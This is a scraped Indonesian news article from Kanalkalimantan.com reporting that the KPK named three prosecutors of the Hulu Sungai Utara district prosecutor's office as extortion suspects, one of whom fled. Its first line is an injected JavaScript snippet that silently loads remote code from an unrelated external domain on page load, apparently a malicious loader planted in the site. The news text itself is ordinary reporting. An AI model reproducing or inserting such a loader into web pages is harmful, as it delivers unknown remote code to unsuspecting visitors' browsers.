(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tiga Jaksa Kejari HSU Tersangka Pemerasan, KPK: TAR Kabur, Jadi DPO


KANALKALIMANTAN.COM, JAKARTA – Komisi Pemberantasan Korupsi (KPK) menetapkan tiga orang tersangka tangkap tangan dugaan tindak pidana korupsi pemerasan di Kejaksaan Negeri (Kejari) Kabupaten Hulu Sungai Utara (HSU), Provinsi Kalimantan Selatan (Kalsel) tahun anggaran 2025-2026.

Dua APN (Albertinus Parlinggoman Napitupulu) selaku Kepala Kejari HSU bersama ASB (Asis Budianto) yang merupakan Kasi Intelijen Kejari HSU telah ditahan di Rutan KPK.

Sedangkan satu tersangka lainnya berinisial TAR (Tri Taruna Fariadi) adalah Kasi Datun Kejari HSU, kabur saat operasi senyap yang dilakukan KPK di kantor Kejari HSU pada Kamis (18/12/2025) kemarin.

Baca juga: Penetapan Taman Nasional Meratus, Walhi Kalsel: Konservasi Berkedok Investasi

Ketiga aparat penegak hukum ini adalah jaksa karier yang diduga menjalankan korupsi dengan modus pemerasan kepada sejumlah Satuan Perangkat Kerja Daerah (SKPD) di lingkup Pemerintah Kabupaten HSU.

Plt Deputi Penindakan dan Eksekusi KPK, Asep Guntur Rahayu menyebut, jika satu orang tersangka lainnya yakni TAR masih dalam proses pencarian.

“Sesuai dengan laporan yang disampaikan kepada kami dari petugas yang melaksanakan penangkapan, bahwa benar dari tiga terduga tersebut memang salah satunya melarikan diri. Jadi kami sedang berupaya untuk mencarinya,” ujar Asep Guntur Rahayu dalam konferensi pers di Gedung KPK, Sabtu (20/12/2025) pagi.

Juru bicara KPK ini menjelaskan dari laporan petugas yang melakukan penangkapan, TAR didapati sempat melakukan perlawanan terhadap petugas hingga akhirnya berhasil kabur.

Baca juga: PLN UPT Pontianak Pulihkan Jaringan Line 2 Tayan – Ngabang

“Terduga (TAR) sempat melakukan perlawanan dan melarikan diri, sehingga saat ini terhadap yang bersangkutan sedang dilakukan upaya pencarian,” jelasnya.

Kaburnya satu tersangka tersebut, KPK pun akan menerbitkan daftar pencarian orang apabila dalam pencarian yang sedang dilakukan saat ini tidak membuahkan hasil atau yang bersangkutan tidak ditemukan.

“Tentunya kami berharap kepada yang bersangkutan kooperatif dan segera menyerahkan diri untuk mengikuti proses hukum selanjutnya,” sambung dia.

Dalam penyidikan nanti, kata Asep, dilakukan di KPK sehingga apabila  dalam proses penyidikan ditemukan ada dugaan tindak pidana yang lain atau peristiwa pidana yang lain maka akan ditindaklanjuti.

Baca juga: Kajari HSU dan Kasi Intel Peras Kadis, KPK Sita Uang Rp804 Juta

Saat ini pihaknya pun mengaku akan fokus terhadap pasal yang dipersangkakan yaitu terkait dengan pemerasan, ancaman, dan modus-modus yang lainnya.

Kemudian dia menjelaskan jika ancaman yang dilakukan tiga jaksa tersebut hanyalah sebuah modus. Dimana para tersangka membuat seolah-olah ada laporan tentang SKPD terkait di Kejari HSU.

“Justru ancaman-ancaman itu adalah hanya sebagai modus, karena berdasarkan keterangan dari para kepala SKPD tidak ada perkara atau pengadaan yang sedang ditangani disitu. Jadi ada dibuat seolah-olah ada laporan,” ungkapnya.

Sehingga agar laporan tersebut tidak ditindaklanjuti oleh Kejaksaan, maka para jaksa tersebut meminta sejumlah dana kepada Kepala SKPD.

Baca juga: PN Banjarbaru Angkat Bicara Soal Eksekusi Lahan di Jalan Aneka Tambang

“Kemudian dihubungilah kepala SKPD-nya, dengan modus jika tidak memberikan sesuatu maka laporan tersebut akan ditindak lanjuti. Karena itulah Kepala SKPD tersebut memberikan sejumlah uang sesuai dengan yang diminta oleh APN,” tuntasnya.

KPK selanjutnya melakukan penahanan terhadap para tersangka untuk 20 hari pertama, terhitung sejak tanggal 19 Desember 2025 sampai dengan 8 Januari 2026.

Atas perbuatannya para tersangka disangkakan melanggar Pasal 12 huruf E, Pasal 12 huruf F Undang-Undang nomor 31 tahun 1999 sebenarnya tersebut adalah setelah diubah dengan Undang-Undang nomor 20 tahun 2002 junto Pasal 55 ayat (1) ke 1 KUHP junto Pasal 64 KUHP. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

15 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

16 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

22 jam ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

23 jam ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

PLN UP2B Kalbar Siaga 24 Jam Jaga Keandalan Listrik Selama Nataru

KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More

2 hari ago

This website uses cookies.